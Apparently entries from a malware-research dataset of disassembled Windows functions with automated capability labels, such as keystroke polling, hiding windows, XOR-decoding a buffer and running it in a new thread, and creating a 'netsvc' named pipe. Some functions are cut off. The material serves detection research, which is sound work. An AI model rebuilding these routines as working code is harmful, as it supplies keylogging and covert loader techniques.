joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e148
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45e15f
add esp, 0xfffffff0
call fcn.004035b8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041df34
mov eax, dword [0x47e5e4]
cmp word [eax + 2], 0
jne 0x45e187
mov eax, dword [0x47e5e4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045f8c8
mov eax, dword [0x47e6a4]
cmp word [eax + 2], 0
jne 0x45e1a1
mov eax, dword [0x47e6a4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045fac0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4158f8]
call fcn.00403264
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4158f8]
call fcn.00403264
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x420400]
call fcn.00427b70
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45e328
mov eax, dword [0x47e4ec]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00427f40
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x460060
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x47e4ec]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040cbf4
test eax, eax
je 0x45e296
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408cd8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040cc1c
test eax, eax
je 0x45e2aa
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404254
mov eax, dword [0x47e3a8]
cmp byte [eax], 0
jne 0x45e2de
mov eax, ebx
call fcn.0045e450
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0046023c
mov eax, ebx
call fcn.00460c00
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45e31e
call fcn.00403610
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45e6d0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x47fbbc]
cmp dword [eax + 0x30], 0
je 0x45e77a
cmp dword [ebx + 0x94], 0
jne 0x45e774
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45e660
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45e774
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45e73a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45e774
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00417dec
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45e749
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45f2dc
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45f311
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004040d4
jmp 0x45f31e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404038
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x460418
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x460459
mov eax, esi
call fcn.00446aec
test al, al
je 0x460459
mov eax, dword [ebx + 0x84]
call fcn.004467e8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x460459
push 0
mov eax, dword [ebx + 0x84]
call fcn.004467e8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x463088
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4632e8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x4630eb
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.00462b50
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040c664
cmp al, 1
jne 0x4630eb
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.00462e68
test al, al
je 0x463277
cmp dword [ebp - 8], 0
jge 0x463109
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.00462b50
mov eax, dword [ebp - 0x210]
call fcn.004042a4
cmp ebx, eax
jge 0x463153
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00462b50
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x47e810]
and eax, 0xff
bt dword [edx], eax
jae 0x463153
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x463167
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00463064
cmp ebx, dword [ebp - 8]
je 0x463269
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x463193
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403490
and eax, 0x7f
movzx eax, word [eax*2 + 0x47dec4]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x463256
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403490
and eax, 0x7f
movzx eax, word [eax*2 + 0x47dec4]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.004467e8
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403490
and eax, 0x7f
movzx eax, word [eax*2 + 0x47dec4]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.004467e8
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46325d
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x4632ca
cmp dword [ebp - 8], 0
jge 0x463282
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.00462b50
mov eax, dword [ebp - 0x218]
call fcn.004042a4
cmp eax, dword [ebp - 8]
jg 0x4632bc
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.00462b50
mov eax, dword [ebp - 0x21c]
call fcn.004042a4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00463064
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4632ef
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.00404008
ret
Function at 0x4662ac
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46641d
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4663f8
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x111], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x111]
push eax
lea eax, [ebp - 0x118]
mov edx, ebx
call fcn.004041cc
lea eax, [ebp - 0x118]
mov edx, 0x466434
call fcn.004042ac
mov eax, dword [ebp - 0x118]
call fcn.004044a4
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x46636a
lea eax, [ebp - 0x111]
call fcn.00408c9c
mov ecx, eax
lea edx, [ebp - 0x111]
mov eax, esi
call fcn.004040d4
jmp 0x466371
mov eax, esi
call fcn.00403fe4
cmp bl, 0x61
jae 0x466392
lea edx, [ebp - 0x11c]
mov eax, dword [esi]
call fcn.0040cac8
mov edx, dword [ebp - 0x11c]
mov eax, esi
call fcn.00404038
jmp 0x4663ac
lea edx, [ebp - 0x120]
mov eax, dword [esi]
call fcn.0040ca3c
mov edx, dword [ebp - 0x120]
mov eax, esi
call fcn.00404038
lea eax, [ebp - 0x124]
push eax
mov eax, dword [esi]
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x128], 0xb
lea edx, [ebp - 0x12c]
xor ecx, ecx
mov eax, 0x466440
call fcn.00409378
mov edx, dword [ebp - 0x124]
mov eax, esi
call fcn.00404038
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4663ff
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret

Function at 0x47b588
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x47b602
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
mov edx, 0x104
call fcn.00406c94
lea eax, [ebp - 0x105]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x105]
call fcn.00408e88
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.0040c948
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b609
lea eax, [ebp - 0x10c]
call fcn.00403fe4
ret
Function at 0x47b610
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x29
push 0
push 0
dec ecx
jne 0x47b619
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x47b7e9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
call fcn.0047b588
lea eax, [ebp - 0x10b]
push eax
push 0
push 0x47b7fc
mov eax, dword [ebp - 8]
call fcn.004044a4
push eax
call sub.kernel32.dll_GetTempFileNameA
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x10b]
mov ecx, 0xff
call fcn.00404254
mov eax, dword [ebp - 0xc]
call fcn.00408a00
test al, al
je 0x47b797
xor eax, eax
push ebp
push 0x47b78d
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x124]
mov eax, 0x47b80c
call fcn.004610dc
mov edx, dword [ebp - 0x124]
lea eax, [ebp - 0x120]
call fcn.00413948
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x148], eax
mov byte [ebp - 0x144], 0xb
mov dword [ebp - 0x140], esi
mov byte [ebp - 0x13c], 0xb
lea edx, [ebp - 0x148]
mov ecx, 1
mov eax, 0x47b824
call fcn.00409378
mov eax, dword [ebp - 0x138]
push eax
lea eax, [ebp - 0x14c]
push eax
mov dword [ebp - 0x148], ebx
mov byte [ebp - 0x144], 0xb
mov dword [ebp - 0x140], esi
mov byte [ebp - 0x13c], 0xb
lea edx, [ebp - 0x148]
mov eax, 0x47b824
mov ecx, 1
call fcn.00409378
mov eax, dword [ebp - 0x14c]
push eax
push 0x47b874
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.0040f434
add esp, 0x14
lea eax, [ebp - 0x134]
call fcn.0040fed4
call fcn.00461068
push 0
mov eax, ebx
call fcn.004044a4
push eax
mov eax, dword [ebp - 0xc]
call fcn.004044a4
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0xc]
call fcn.00408a00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47b797
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b7f0
lea eax, [ebp - 0x14c]
call fcn.00403fe4
lea eax, [ebp - 0x138]
call fcn.00403fe4
lea eax, [ebp - 0x134]
call fcn.0040f42c
lea eax, [ebp - 0x124]
call fcn.004058d4
lea eax, [ebp - 0x120]
call fcn.0040f42c
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404008
ret
Function at 0x40152c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 0xc]
mov dword [esp + 8], esi
mov dword [esp + 4], esi
mov dword [esp], 0x40000
call dword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
sub esp, 0xc
mov edi, eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
sub esp, 0xc
mov esi, eax
test ebx, ebx
jle 0x4015ad
xor ecx, ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
sub esp, 0x10
xor eax, eax
cmp eax, ebx
jge 0x4015ad
mov ecx, dword [ebp + 0x10]
mov edx, eax
and edx, 7
mov dl, byte [ecx + edx]
mov ecx, dword [ebp + 8]
xor dl, byte [ecx + eax]
mov byte [esi + eax], dl
inc eax
jmp 0x401592
mov dword [esp], esi
call fcn.004014f9
xor eax, eax
xor edx, edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x4014f0
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40160b
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 1
mov dword [esp + 4], 2
mov dword [esp], 0x40d040
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
dec eax
sub esp, 0x20
cmp eax, 0xfffffffd
ja 0x4016b0
xor ecx, ecx
mov dword [esp], ebx
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push edx
push edx
test eax, eax
je 0x4016b0
test esi, esi
jle 0x40169b
xor edx, edx
lea eax, [ebp - 0x1c]
mov dword [esp + 8], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
jne 0x4016a7
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x4016b0
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x401672
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
Function at 0x4016d7
Capabilities:
Read file on windows

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x40d040
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
sub esp, 0x1c
xor eax, eax
cmp ebx, 0xffffffff
je 0x401771
test esi, esi
jle 0x401757
xor edx, edx
lea eax, [ebp - 0x1c]
mov dword [esp + 8], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
jne 0x401768
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, 1
jmp 0x401771
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x40172e
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4017da
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x28], 0x5c
div ecx
mov dword [esp + 0x24], 0x65
mov dword [esp + 0x20], 0x70
mov dword [esp + 0x1c], 0x69
mov dword [esp + 0x18], 0x70
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_cnetsvc_d
mov dword [esp], 0x40d040
mov dword [esp + 0x2c], edx
call fcn.004015e8
xor eax, eax
xor edx, edx
mov dword [esp + 8], 0x4016b8
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [ebp + 8], ecx
sub esp, 0x18
leave
jmp fcn.00401779

Function at 0x401af0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00407ad0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00407ad0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x4021b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d0cc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d0c4]
sub esp, 4
test ebx, ebx
je 0x402205
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4021fe
test esi, esi
je 0x4021fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4021e0
mov dword [esp], 0x40d0cc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp

Function at 0x402540
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402565
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402570
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402565
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4025b8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4025ae
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4025ba
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4025a0
xor eax, eax
pop ebx
pop esi

Function at 0x405350
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xac
mov eax, dword [esp + 0xc4]
mov esi, dword [esp + 0xd0]
mov edi, dword [esp + 0xc0]
mov edx, dword [esp + 0xdc]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xc8]
mov dword [esp + 0x1c], esi
mov esi, dword [esp + 0xd4]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x28], esi
mov esi, dword [esp + 0xd8]
mov ecx, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x14], esi
mov esi, dword [eax]
mov dword [esp + 0x2c], edi
mov eax, esi
mov dword [esp + 0x18], edx
and eax, 0xffffffcf
mov dword [ecx], eax
mov eax, esi
and eax, 7
cmp eax, 3
je 0x405690
mov ecx, esi
and ecx, 4
mov dword [esp + 0x34], ecx
jne 0x405608
test eax, eax
je 0x405658
mov edi, dword [edi]
xor edx, edx
mov eax, 0x20
cmp edi, 0x20
jle 0x4053f9
add eax, eax
add edx, 1
cmp edi, eax
jg 0x4053f0
mov dword [esp], edx
lea ebx, [edi - 1]
sar ebx, 5
call fcn.00406e10
mov dword [esp + 0x38], ebx
mov ebp, eax
mov eax, dword [esp + 0x20]
lea edx, [ebp + 0x14]
lea ecx, [eax + ebx*4]
lea esi, [esi]
nop
mov ebx, dword [eax]
add eax, 4
add edx, 4
mov dword [edx - 4], ebx
cmp ecx, eax
jae 0x405420
mov eax, dword [esp + 0x20]
mov ebx, dword [esp + 0x38]
add ecx, 1
add eax, 1
lea ebx, [ebx*4 + 4]
cmp ecx, eax
mov eax, 4
cmovb ebx, eax
sar ebx, 2
jmp 0x405460
test ebx, ebx
je 0x4056d0
mov eax, ebx
sub ebx, 1
mov edx, dword [ebp + ebx*4 + 0x14]
test edx, edx
je 0x405458
bsr edx, dword [ebp + ebx*4 + 0x14]
mov dword [ebp + 0x10], eax
shl eax, 5
xor edx, 0x1f
sub eax, edx
invalid
Function at 0x4062e0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x461b8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00456a98
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x406362
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004549e7
mov eax, dword [eax]
push 0x4771c0
push eax
call fcn.004478e4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00456d23
test bl, bl
je 0x406362
push 0x4771c0
lea ecx, [esp + 0xc]
call fcn.004570b3
push 0x47ad08
lea ecx, [esp + 0xc]
call fcn.004570b3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40639e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00456d23
jmp 0x406469
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x406422
lea edx, [esp + 0x7c]
push 0x47ad04
push edx
call fcn.004478e4
add esp, 8
test eax, eax
je 0x406422
lea eax, [esp + 0x7c]
push 0x47ad00
push eax
call fcn.004478e4
add esp, 8
test eax, eax
je 0x406422
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4063b2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00456d23
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x406c60
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x406cc2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc